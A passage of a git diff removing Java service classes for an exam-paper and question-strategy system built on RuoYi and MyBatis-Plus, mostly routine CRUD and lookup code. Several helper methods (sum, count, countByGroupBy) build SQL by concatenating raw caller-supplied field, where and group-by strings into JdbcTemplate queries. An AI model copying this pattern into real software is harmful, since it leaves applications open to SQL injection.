.eq(ExamPaperItemPlus::getPaperId, id); - return examPaperItemMapper.delete(lambdaQueryWrapper) > 0; - } - - @Override - public boolean deleteByModuleId(Long id) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(ExamPaperItemPlus::getExamPaperModuleId, id); - return examPaperItemMapper.delete(lambdaQueryWrapper) > 0; - } - - @Override - public boolean deleteByPaperId(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .in(ExamPaperItemPlus::getPaperId, ids); - return examPaperItemMapper.delete(lambdaQueryWrapper) > 0; - } - - @Override - public boolean deleteByModuleId(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .in(ExamPaperItemPlus::getExamPaperModuleId, ids); - return examPaperItemMapper.delete(lambdaQueryWrapper) > 0; - } - /** - * 查询试卷明细 - * - * @param id 试卷明细ID - * @return 试卷明细 - */ - @Override - public ExamPaperItem selectExamPaperItemById(Long id) { - return examPaperItemMapper.selectExamPaperItemById(id); - } - - /** - * 查询试卷明细列表 - * - * @param examPaperItem 试卷明细 - * @return 试卷明细 - */ - @Override - public List selectExamPaperItemList(ExamPaperItem examPaperItem) { - return examPaperItemMapper.selectExamPaperItemList(examPaperItem); - } - - /** - * 新增试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - @Override - public int insertExamPaperItem(ExamPaperItem examPaperItem) { - examPaperItem.setCreateTime(DateUtils.getNowDate()); - return examPaperItemMapper.insertExamPaperItem(examPaperItem); - } - - /** - * 修改试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - @Override - public int updateExamPaperItem(ExamPaperItem examPaperItem) { - return examPaperItemMapper.updateExamPaperItem(examPaperItem); - } - - /** - * 批量删除试卷明细 - * - * @param ids 需要删除的试卷明细ID - * @return 结果 - */ - @Override - public int deleteExamPaperItemByIds(Long[] ids) { - return examPaperItemMapper.deleteExamPaperItemByIds(ids); - } - - /** - * 删除试卷明细信息 - * - * @param id 试卷明细ID - * @return 结果 - */ - @Override - public int deleteExamPaperItemById(Long id) { - return examPaperItemMapper.deleteExamPaperItemById(id); - } - - @Override - public int deleteExamPaperItemByModuleIdAndQuestionIds(Long moduleId, List questionIds) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .eq(ExamPaperItemPlus::getExamPaperModuleId, moduleId).and(i -> i.in(ExamPaperItemPlus::getQuestionId, questionIds)); - return this.examPaperItemMapper.delete(lambdaQueryWrapper); - } - - public boolean additionalInfo(List list) { - if (list == null || list.size() == 0) { - return false; - } - List paperIds = new ArrayList<>(); - List modules = new ArrayList<>(); - List questionIds = new ArrayList<>(); - for (ExamPaperItem item : list) { - questionIds.add(item.getQuestionId()); - paperIds.add(item.getPaperId()); - modules.add(item.getExamPaperModuleId()); - } - Map examPaperPlusMap = examPaperService.getMapByIds(paperIds); - Map examQuestionPlusMap = examQuestionService.getMapByIds(questionIds); - Map examPaperModulePlusMap = examPaperModuleService.getMapByIds(modules); - for (ExamPaperItem item : list) { - if (examPaperPlusMap.containsKey(item.getPaperId())) { - item.setPaperName(examPaperPlusMap.get(item.getPaperId()).getName()); - } - if (examQuestionPlusMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionPlusMap.get(item.getQuestionId()).getNo()); - } - if (examPaperModulePlusMap.containsKey(item.getExamPaperModuleId())) { - item.setExamPaperModuleName(examPaperModulePlusMap.get(item.getExamPaperModuleId()).getModuleName()); - } - } - return true; - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperModuleServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperModuleServiceImpl.java deleted file mode 100644 index d4f7f33..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperModuleServiceImpl.java +++ /dev/null @@ -1,297 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.exam.domain.*; -import com.luqj.exam.mapper.ExamPaperModuleMapper; -import com.luqj.exam.service.IExamPaperItemService; -import com.luqj.exam.service.IExamPaperModuleService; -import com.luqj.exam.service.IExamPaperService; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 试卷模块Service业务层处理 - * - * @author ruoyi - * @date 2021-08-10 - */ -@Service -public class ExamPaperModuleServiceImpl extends ServiceImpl implements IExamPaperModuleService { - @Autowired - private ExamPaperModuleMapper examPaperModuleMapper; - @Autowired - private IExamPaperService examPaperService; - @Autowired - private IExamPaperItemService examPaperItemService; - @Autowired - private IExamQuestionService examQuestionService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamPaperModulePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamPaperModulePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamPaperModulePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamPaperModulePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamPaperModulePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamPaperModulePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_paper_module "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_module "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_module "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - @Override - public boolean addQuestion(Long moduleId, Long questionId) { - ExamPaperItem paperItem = new ExamPaperItem(); - paperItem.setExamPaperModuleId(moduleId); - paperItem.setQuestionId(questionId); - List examPaperItemList = this.examPaperItemService.selectExamPaperItemList(paperItem); - if (null != examPaperItemList && examPaperItemList.size() > 0) { - return false; - } - ExamQuestion examQuestion = this.examQuestionService.selectExamQuestionById(questionId); - ExamPaperItem examPaperItem = new ExamPaperItem(); - examPaperItem.setQuestionId(questionId); - examPaperItem.setExamPaperModuleId(moduleId); - examPaperItem.setQuestionName(examQuestion.getNo()); - examPaperItem.setStatus(1); - examPaperItem.setSortNum(0L); - examPaperItem.setScore(examQuestion.getScore()); - examPaperItem.setQuestionTypeId(examQuestion.getType()); - examPaperItem.setDifficulty(examQuestion.getDifficulty()); - examPaperItem.setCreatorId(SecurityUtils.getLoginUser().getUser().getUserId()); - ExamPaperModule examPaperModule = examPaperModuleMapper.selectExamPaperModuleById(moduleId); - examPaperItem.setPaperId(examPaperModule.getPaperId()); - return examPaperItemService.insertExamPaperItem(examPaperItem) > 0; - } - - @Override - public boolean addQuestion(Long moduleId, List questionIds) { - List examPaperItemList = this.examPaperItemService.selectByModuleIdAndQuestionIds(moduleId, questionIds); - if (null != examPaperItemList && examPaperItemList.size() > 0) { - return false; - } - ExamPaperModule examPaperModule = examPaperModuleMapper.selectExamPaperModuleById(moduleId); - List examPaperItems = new ArrayList<>(); - for (Long questionId : questionIds) { - ExamQuestion examQuestion = this.examQuestionService.selectExamQuestionById(questionId); - ExamPaperItemPlus examPaperItem = new ExamPaperItemPlus(); - examPaperItem.setQuestionId(questionId); - examPaperItem.setExamPaperModuleId(moduleId); - examPaperItem.setStatus(1); - examPaperItem.setSortNum(0L); - examPaperItem.setScore(examQuestion.getScore()); - examPaperItem.setQuestionTypeId(examQuestion.getType()); - examPaperItem.setDifficulty(examQuestion.getDifficulty()); - examPaperItem.setCreatorId(SecurityUtils.getLoginUser().getUser().getUserId()); - examPaperItem.setPaperId(examPaperModule.getPaperId()); - examPaperItems.add(examPaperItem); - } - return examPaperItemService.saveBatch(examPaperItems); - } - - @Override - public boolean removeQuestion(Long moduleId, List questionIds) { - return examPaperItemService.deleteExamPaperItemByModuleIdAndQuestionIds(moduleId, questionIds) > 0; - } - - /** - * 查询试卷模块 - * - * @param id 试卷模块ID - * @return 试卷模块 - */ - @Override - public ExamPaperModule selectExamPaperModuleById(Long id) { - ExamPaperModule module = examPaperModuleMapper.selectExamPaperModuleById(id); - if (null != module && module.getExamPaperItemList() != null) { - examPaperItemService.additionalInfo(module.getExamPaperItemList()); - } - return module; - } - - /** - * 查询试卷模块列表 - * - * @param examPaperModule 试卷模块 - * @return 试卷模块 - */ - @Override - public List selectExamPaperModuleList(ExamPaperModule examPaperModule) { - List list = examPaperModuleMapper.selectExamPaperModuleList(examPaperModule); - if (list == null || list.size() == 0) { - return list; - } - List paperIds = new ArrayList<>(); - for (ExamPaperModule item : list) { - paperIds.add(item.getPaperId()); - } - Map map = examPaperService.getMapByIds(paperIds); - for (ExamPaperModule item : list) { - if (map.containsKey(item.getPaperId())) { - item.setPaperName(map.get(item.getPaperId()).getName()); - } - } - return list; - } - - /** - * 新增试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - @Transactional - @Override - public int insertExamPaperModule(ExamPaperModule examPaperModule) { - examPaperModule.setCreateTime(DateUtils.getNowDate()); - int rows = examPaperModuleMapper.insertExamPaperModule(examPaperModule); - insertExamPaperItem(examPaperModule); - return rows; - } - - /** - * 修改试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - @Transactional - @Override - public int updateExamPaperModule(ExamPaperModule examPaperModule) { - examPaperModuleMapper.deleteExamPaperItemByExamPaperModuleId(examPaperModule.getId()); - insertExamPaperItem(examPaperModule); - return examPaperModuleMapper.updateExamPaperModule(examPaperModule); - } - - /** - * 批量删除试卷模块 - * - * @param ids 需要删除的试卷模块ID - * @return 结果 - */ - @Transactional - @Override - public int deleteExamPaperModuleByIds(Long[] ids) { - examPaperModuleMapper.deleteExamPaperItemByExamPaperModuleIds(ids); - return examPaperModuleMapper.deleteExamPaperModuleByIds(ids); - } - - /** - * 删除试卷模块信息 - * - * @param id 试卷模块ID - * @return 结果 - */ - @Override - public int deleteExamPaperModuleById(Long id) { - examPaperModuleMapper.deleteExamPaperItemByExamPaperModuleId(id); - return examPaperModuleMapper.deleteExamPaperModuleById(id); - } - - /** - * 新增试卷明细信息 - * - * @param examPaperModule 试卷模块对象 - */ - public void insertExamPaperItem(ExamPaperModule examPaperModule) { - List examPaperItemList = examPaperModule.getExamPaperItemList(); - Long id = examPaperModule.getId(); - if (StringUtils.isNotNull(examPaperItemList)) { - List list = new ArrayList(); - for (ExamPaperItem examPaperItem : examPaperItemList) { - examPaperItem.setExamPaperModuleId(id); - list.add(examPaperItem); - } - if (list.size() > 0) { - examPaperModuleMapper.batchExamPaperItem(list); - } - } - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperServiceImpl.java deleted file mode 100644 index 546050c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperServiceImpl.java +++ /dev/null @@ -1,281 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.common.domain.ComCategoryPlus; -import com.luqj.common.service.IComCategoryService; -import com.luqj.exam.domain.ExamPaper; -import com.luqj.exam.domain.ExamPaperModule; -import com.luqj.exam.domain.ExamPaperPlus; -import com.luqj.exam.domain.ExamSchoolPlus; -import com.luqj.exam.mapper.ExamPaperMapper; -import com.luqj.exam.service.IExamPaperItemService; -import com.luqj.exam.service.IExamPaperService; -import com.luqj.exam.service.IExamSchoolService; -import com.luqj.gis.domain.GisRegionPlus; -import com.luqj.gis.service.IGisRegionService; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.*; - -/** - * 试卷Service业务层处理 - * - * @author ruoyi - * @date 2021-08-09 - */ -@Service -public class ExamPaperServiceImpl extends ServiceImpl implements IExamPaperService { - @Autowired - private ExamPaperMapper examPaperMapper; - @Autowired - private IExamPaperItemService examPaperItemService; - @Autowired - private IGisRegionService gisRegionService; - @Autowired - private IExamSchoolService examSchoolService; - @Autowired - private IComCategoryService comCategoryService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamPaperPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamPaperPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamPaperPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamPaperPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamPaperPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamPaperPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询试卷 - * - * @param id 试卷ID - * @return 试卷 - */ - @Override - public ExamPaper selectExamPaperById(Long id) { - ExamPaper examPaper = examPaperMapper.selectExamPaperById(id); - ComCategoryPlus comCategory = this.comCategoryService.getById(examPaper.getCategoryId()); - if (null != comCategory) { - examPaper.setCategoryName(comCategory.getName()); - } - ExamSchoolPlus examSchoolPlus = this.examSchoolService.getById(examPaper.getSchoolId()); - if (null != examSchoolPlus) { - examPaper.setSchoolName(examSchoolPlus.getName()); - } - return examPaper; - } - - /** - * 查询试卷列表 - * - * @param examPaper 试卷 - * @return 试卷 - */ - @Override - public List selectExamPaperList(ExamPaper examPaper) { - List list = examPaperMapper.selectExamPaperList(examPaper); - if (list == null || list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - List sList = new ArrayList<>(); - List categoryIdS = new ArrayList<>(); - for (ExamPaper item : list) { - if (null != item.getSchoolId()) { - sList.add(item.getSchoolId()); - } - if (!ids.contains(item.getCityId())) { - ids.add(item.getCityId()); - } - if (!ids.contains(item.getProvinceId())) { - ids.add(item.getProvinceId()); - } - categoryIdS.add(item.getCategoryId()); - } - Map map = new HashMap<>(); - if (sList.size() > 0) { - map = examSchoolService.getMapByIds(sList); - } - Map comCategoryPlusMap = comCategoryService.getMapByIds(categoryIdS); - Map gisRegionMap = gisRegionService.getMapByIds(ids); - for (ExamPaper item : list) { - if (gisRegionMap.containsKey(item.getCityId())) { - item.setCityName(gisRegionMap.get(item.getCityId()).getName()); - } - if (gisRegionMap.containsKey(item.getProvinceId())) { - item.setProvinceName(gisRegionMap.get(item.getProvinceId()).getName()); - } - if (map.containsKey(item.getSchoolId())) { - item.setSchoolName(map.get(item.getSchoolId()).getName()); - } - if (comCategoryPlusMap.containsKey(item.getCategoryId())) { - item.setCategoryName(comCategoryPlusMap.get(item.getCategoryId()).getName()); - } - } - return list; - } - - /** - * 新增试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - @Transactional - @Override - public int insertExamPaper(ExamPaper examPaper) { - examPaper.setUnionType(0); - examPaper.setTeacherId(SecurityUtils.getLoginUser().getUser().getUserId()); - examPaper.setCreateTime(DateUtils.getNowDate()); - int rows = examPaperMapper.insertExamPaper(examPaper); - insertExamPaperModule(examPaper); - return rows; - } - - /** - * 修改试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - @Transactional - @Override - public int updateExamPaper(ExamPaper examPaper) { - examPaper.setUpdateTime(DateUtils.getNowDate()); - examPaperMapper.deleteExamPaperModuleByPaperId(examPaper.getId()); - insertExamPaperModule(examPaper); - return examPaperMapper.updateExamPaper(examPaper); - } - - /** - * 批量删除试卷 - * - * @param ids 需要删除的试卷ID - * @return 结果 - */ - @Transactional - @Override - public int deleteExamPaperByIds(Long[] ids) { - examPaperMapper.deleteExamPaperModuleByPaperIds(ids); - examPaperItemService.deleteByPaperId(Arrays.asList(ids)); - return examPaperMapper.deleteExamPaperByIds(ids); - } - - /** - * 删除试卷信息 - * - * @param id 试卷ID - * @return 结果 - */ - @Override - public int deleteExamPaperById(Long id) { - examPaperMapper.deleteExamPaperModuleByPaperId(id); - return examPaperMapper.deleteExamPaperById(id); - } - - /** - * 新增试卷模块信息 - * - * @param examPaper 试卷对象 - */ - public void insertExamPaperModule(ExamPaper examPaper) { - List examPaperModuleList = examPaper.getExamPaperModuleList(); - Long id = examPaper.getId(); - if (StringUtils.isNotNull(examPaperModuleList)) { - List list = new ArrayList(); - for (ExamPaperModule examPaperModule : examPaperModuleList) { - examPaperModule.setPaperId(id); - list.add(examPaperModule); - } - if (list.size() > 0) { - examPaperMapper.batchExamPaperModule(list); - } - } - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyListServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyListServiceImpl.java deleted file mode 100644 index e2e3bee..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyListServiceImpl.java +++ /dev/null @@ -1,190 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamPaperStrategyListMapper; -import com.luqj.exam.domain.ExamPaperStrategyList; -import com.luqj.exam.domain.ExamPaperStrategyListPlus; -import com.luqj.exam.service.IExamPaperStrategyListService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 策略子Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamPaperStrategyListServiceImpl extends ServiceImpl implements IExamPaperStrategyListService -{ - @Autowired - private ExamPaperStrategyListMapper examPaperStrategyListMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamPaperStrategyListPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamPaperStrategyListPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamPaperStrategyListPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamPaperStrategyListPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamPaperStrategyListPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamPaperStrategyListPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_paper_strategy_list "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_strategy_list "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_strategy_list "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询策略子 - * - * @param id 策略子ID - * @return 策略子 - */ - @Override - public ExamPaperStrategyList selectExamPaperStrategyListById(Long id) - { - return examPaperStrategyListMapper.selectExamPaperStrategyListById(id); - } - - /** - * 查询策略子列表 - * - * @param examPaperStrategyList 策略子 - * @return 策略子 - */ - @Override - public List selectExamPaperStrategyListList(ExamPaperStrategyList examPaperStrategyList) - { - return examPaperStrategyListMapper.selectExamPaperStrategyListList(examPaperStrategyList); - } - - /** - * 新增策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - @Override - public int insertExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList) - { - examPaperStrategyList.setCreateTime(DateUtils.getNowDate()); - return examPaperStrategyListMapper.insertExamPaperStrategyList(examPaperStrategyList); - } - - /** - * 修改策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - @Override - public int updateExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList) - { - return examPaperStrategyListMapper.updateExamPaperStrategyList(examPaperStrategyList); - } - - /** - * 批量删除策略子 - * - * @param ids 需要删除的策略子ID - * @return 结果 - */ - @Override - public int deleteExamPaperStrategyListByIds(Long[] ids) - { - return examPaperStrategyListMapper.deleteExamPaperStrategyListByIds(ids); - } - - /** - * 删除策略子信息 - * - * @param id 策略子ID - * @return 结果 - */ - @Override - public int deleteExamPaperStrategyListById(Long id) - { - return examPaperStrategyListMapper.deleteExamPaperStrategyListById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyServiceImpl.java deleted file mode 100644 index 328d201..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamPaperStrategyServiceImpl.java +++ /dev/null @@ -1,251 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.common.domain.ComCategoryPlus; -import com.luqj.common.service.IComCategoryService; -import com.luqj.exam.domain.ExamPaperStrategy; -import com.luqj.exam.domain.ExamPaperStrategyList; -import com.luqj.exam.domain.ExamPaperStrategyPlus; -import com.luqj.exam.mapper.ExamPaperStrategyMapper; -import com.luqj.exam.service.IExamPaperStrategyService; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import org.apache.http.util.Asserts; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 试卷模板策略Service业务层处理 - * - * @author ruoyi - * @date 2021-07-29 - */ -@Service -public class ExamPaperStrategyServiceImpl extends ServiceImpl implements IExamPaperStrategyService { - @Autowired - private ExamPaperStrategyMapper examPaperStrategyMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private IComCategoryService comCategoryService; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamPaperStrategyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamPaperStrategyPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamPaperStrategyPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamPaperStrategyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamPaperStrategyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamPaperStrategyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_paper_strategy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_strategy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_paper_strategy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = 